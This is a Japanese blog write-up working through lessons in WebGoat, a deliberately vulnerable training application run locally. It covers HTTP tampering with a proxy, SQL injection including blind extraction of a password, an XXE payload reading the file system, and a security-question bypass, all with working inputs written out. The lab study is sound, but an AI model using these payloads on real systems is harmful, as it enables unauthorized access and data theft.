WebGoatを一通りやってみる

# WebGoat
WebGoatは、わざと脆弱性を含ませたWebアプリケーションであり、レッスン形式でセキュリティを学べるようになっている。

クリアした課題には以下のように緑色のチェックがつ
<img src="https://qiita-image-store.s3.amazonaws.com/0/198722/b42d26ed-7d39-a0f1-ef2a-9f1accc0f1ca.png" width="300px">

## セットアップ
以下に記載されている手順に従いセットアップ
https://github.com/WebGoat/WebGoat
https://hub.docker.com/r/webgoat/webgoat-8.0/

```
docker pull webgoat/webgoat-8.0
docker run -p 8080:8080 -t webgoat/webgoat-8.0
```

## General
### HTTP Basics
#### 目的
フォームにユーザ名を入力してｓｕｂｍｉｔすると基本的なHTTPリクエストの処理が行われる。
その基本的な処理が理解できていればOK。

#### 解答
##### Page2
フォームにユーザ名を入力すると入力したユーザ名が反転して表示される。
##### Page3 
フォームでの送信がGETかPOSTかというのとmagic numberがなんだったかを答えればOK
※magic numberはソースなどに直接記述された数値で実装者本人にしか意図が理解できないようなものをさす。
Chromeのdevtoolをみると以下のようにRequest MethodはPOST, magic numberは44とわかるので再度フォームに入力して送信するとクリア
<img src="https://qiita-image-store.s3.amazonaws.com/0/198722/4173a3c0-4f02-7131-56d4-c070696a41ea.png" width="400px">


### HTTP Proxies
#### 目的
リクエストメソッドを書き換えたりヘッダを書き換えたりすることで意図しない挙動をさせることができることを理解する

#### 解答
##### Page1~5
ツールの説明が記載されているだけなので割愛
##### Page6
フォームがあり、送信するとPOSTメソッドで入力値が送られる。
課題は

- GETメソッドで値を送信する
- Form Dataを「changeMe」から「Requests are tampered easily」に変更する

<img src="https://qiita-image-store.s3.amazonaws.com/0/198722/3ecc1a06-a9ac-d27c-d885-65038d2c2706.png" width="300">

今回はローカルプロキシを使用しヘッダを改ざんすることで実現する。
OWASP ZAPを使ってブラウザとサーバ間の途中でbreak、ヘッダを追加する
メソッドをGET、ヘッダに`x-request-intercepted:true`を追加して送信する。

<img src="https://qiita-image-store.s3.amazonaws.com/0/198722/bb08bec9-5fe0-3e40-b6e6-b9e17e9ed804.png" width="300px">


## Injection Flaws
### SQL Injection
#### 目的
SQLインジェクションについて学ぶ
#### 解答
##### Page7
フォームで入力した値を使用してSQLが実行されるのですべてのユーザー情報を取得できればクリアとなる。


おそらくSQLは`SELECT * FROM xxx WHERE user_name = '変数'`のような感じになっており、フォームで入力した値が変数に入るはず。
なので以下のような感じで入力してやるとクリアになる。
`' OR 'x' = 'x`
変数に入れると以下のようになり、WHEREの後半の部分が全てtrueになるので全ての情報が表示されてしまう。
`SELECT * FROM xxx WHERE user_name = '' OR 'x' = 'x'`

##### Page8
Page８と同じだがユーザ名ではなくユーザIDでの取得になっているので`1 OR 'x' = 'x'`のような感じでOK。
`'`があるかないかの違い。
ちなみに`;`で別クエリ投げれるかと思ったが、そっちは対応されていた。

#### 対策
エスケープ処理はしっかりと。

### SQL Injection (mitigation)
#### 目的
リクエストメソッドを書き換えたりヘッダを書き換えたりすることで意図しない挙動をさせることができることを理解する

#### 解答
##### Page8


### SQL Injection (advanced)
#### 目的
SQLインジェクション手法の組み合わせとブラインドSQLインジェクション

#### 解答
##### Page3
以下で作成されているテーブルに対してSQLインジェクションをする

```
CREATE TABLE user_system_data (userid int not null primary key,
			                   user_name varchar(12),
			                   password varchar(10),
			                   cookie varchar(30));
```

###### 6a)
ユーザ名を入力するとそのユーザの情報を取得できる。
`;`はエスケープされていなかったので別のクエリを連結してSQLを実行する。

普通はテーブル名はわからないのでテーブル名を見れるかをやってみたが、`user lacks privilege or object not found: ALL_TABLES`となりダメだったのでさっさと課題の解答にすすむ。

とりあえず以下で実行。
`';SELECT * FROM user_system_data;`
`';`でもともとのSQLを終了させて、実行したいSQLを入力する。
ただし、上記を実行しても`'`でエラーになる。
`SELECT xxx FROM user_system=data WHERE user_name = "'" + 変数 + "'"`
みないな感じなSQLになっていると思われるので先ほど入力した値を入れると
`SELECT xxx FROM user_system=data WHERE user_name = '';SELECT * FROM user_system_data;'`
となり、最後の`'`エラーになっていると思われる。なので`--`をつけて入力した値の後続のSQL文を全てコメントアウトする。

`';SELECT * FROM user_system_data; --`
でクリアとなった

###### 6b)
Daveのパスワードを送信すればクリアになる
6aで全てのユーザの情報が取得できているので表示されているパスワード`passW0rD`を入力すればクリアになる。

##### Page5
以下のフォームでTomとしてログインすればクリアとなる。
<img src="https://qiita-image-store.s3.amazonaws.com/0/198722/0dba7539-0fb1-b941-1e70-e4e9f9917470.png" width="400px">
<img src="https://qiita-image-store.s3.amazonaws.com/0/198722/7e3d60c8-01b8-f5c4-a5a6-05b82c8fdba9.png" width="400px">

いろいろ試していたら以下のことがわかった。

- LOGIN画面では特にインジェクションできそうなことはない
- REGISTER画面
 - SQLインジェクションするために使う`';`がエスケープされていないかみるために`'; --`とすると「User '; -- created, please proceed to the login page.」となるので普通に使えそう。
 - 同じユーザ名で登録しようとすると「User ユーザ名 already exists please try to register with a different username.」と表示されるのでユーザがすでに存在するかがわかる
 - 同じユーザ名のアカウントがないかを調べるためにSQLを実行していると思われるので、true/falseの挙動をみてみる。
 trueの時: 「User tom' and 'a' = 'a'; -- already exists please try to register with a different username.」
 falseの時: 「User tom' and 'a' = 'b'; -- created, please proceed to the login page.」
　という表示になる。
 - `length(password) > 1`とすると「User tom' and length(password) > 1 ; -- already exists please try to register with a different username.」となることからパスワードはpasswordというカラム名に保存されている
 - よくあるパスワード8桁とか適当な値で<, >を使って範囲を絞っていき、最後は順番に値をいれていくとパスワードは23桁ということがわかる。（User tom' and length(password) = 23 ; -- already exists please try to register with a different username.）
 - 次に文字列をさぐるために先ほど同様に`tom' and substring(password, 1, 1) > 'm' --`（User tom' and substring(password, 1, 1) < 'm' -- created, please proceed to the login page.）と順番に探っていくと最初の文字は「ｔ」ということがわかる（User tom' and substring(password, 1, 1) = 't' -- already exists please try to register with a different username.）

あとは`substring（）`で切り取る場所をかえつつ地道に探っていくだけ。最終的にパスワードは「thisisasecretfortomonly」になる。長い...



#### XXE
#### 目的
XML External Entity attack(XXE)について学ぶ

XXEは文字通りXｍｌを外部から受け取りそれを元に動的にドキュメントを作成する機能を利用して行われる攻撃。

```
<!ENTITY hoge SYSTEM "attack.xml">
<hoge>&hoge;</hoge>
```
とした時&hoge;にattack.xmlの内容が表示されてしまう。（実体参照）
この仕組みを利用して意図しないファイルを参照するようにインジェクションを行う

#### 解答
##### Page 3
以下のフォームがあるのでファイルシステムのルートディレクトリのリストを閲覧すればクリアとなる
<img src='https://qiita-image-store.s3.amazonaws.com/0/198722/88821ca2-291a-1317-b82a-6178f04aa3ac.png' width='300'>

試しに`&hoge;`と打つと以下のようにParseErrorが出るので外部参照していそう。

```
javax.xml.bind.UnmarshalExceptionn - with linked exception:n[javax.xml.stream.XMLStreamException: ParseError at [row,col]:[1,45]nMessage: The entity "hoge" was referenced, but not declared.]ntat com.sun.xml.bind.v2.runtime.unmarshaller.UnmarshallerImpl.handleStreamException(UnmarshallerImpl.java:485)ntat com.sun.xml.bind.v2.runtime.unmarshaller.UnmarshallerImpl.unmarshal0(UnmarshallerImpl.java:417)ntat com.sun.xml.bind.v2.runtime.unmarshaller.UnmarshallerImpl.unmarshal(UnmarshallerImpl.java:386)ntat org.owasp.webgoat.plugin.Comments.parseXml(Comments.java:73)ntat org.owasp.webgoat.plugin.SimpleXXE.createNewComment(SimpleXXE.java:70)ntat java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)ntat 
```

OWASP ZAPでsubmitのところにbreakポイントを仕込みリクエストをみてみると以下のようになっている。

```
<?xml version="1.0"?><comment>  <text>&hoge;</text></comment>
```

上記を以下のように変更してリクエストするとクリア

```
<?xml version="1.0"?>
<!DOCTYPE comment [
<!ENTITY hoge SYSTEM "file:///">
]>
<comment><text>&hoge;</text></comment>
```
##### Page 4

Page3とほぼ同じ。
Content-Typeがapplication/jsonになっているのでapplication/xmlに変えればOK


### Authentication Flaws
#### Authentication Bypasses
##### Page2
パスワードの再設定画面で2要素認証をバイパスして再設定できればクリアとなる

とりあえず適当な値を入力してZAPでリクエストをみてみると以下のようになっている

```
secQuestion0=x&secQuestion1=x&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746
```

とりあえず秘密の質問っぽいやつを消してみる

```
jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746
```
→ 「Not quite, please try again.」

未入力になった。
次に変数名を壊してみる

```
ecQuestion0=x&ecQuestion1=xjsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746
```
→ 「Not quite, please try again.」
変わらず。

次に`secQuestion0`と`secQuestion1`という変数名を適当に`secQuestion10`,`secQuestion11`みたいな感じに変更してリクエスト

```
secQuestion10=x&secQuestion11=x&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746
```
→ 「Congrats, you have successfully verified the account without actually verifying it. You can now change your password!」
いけた。
正直なぜいけたかわかってない。secQuestion+数値を処理するようになっている？質問は2つ送られていればOKとしている？






---
残りは少しづつ更新していきます。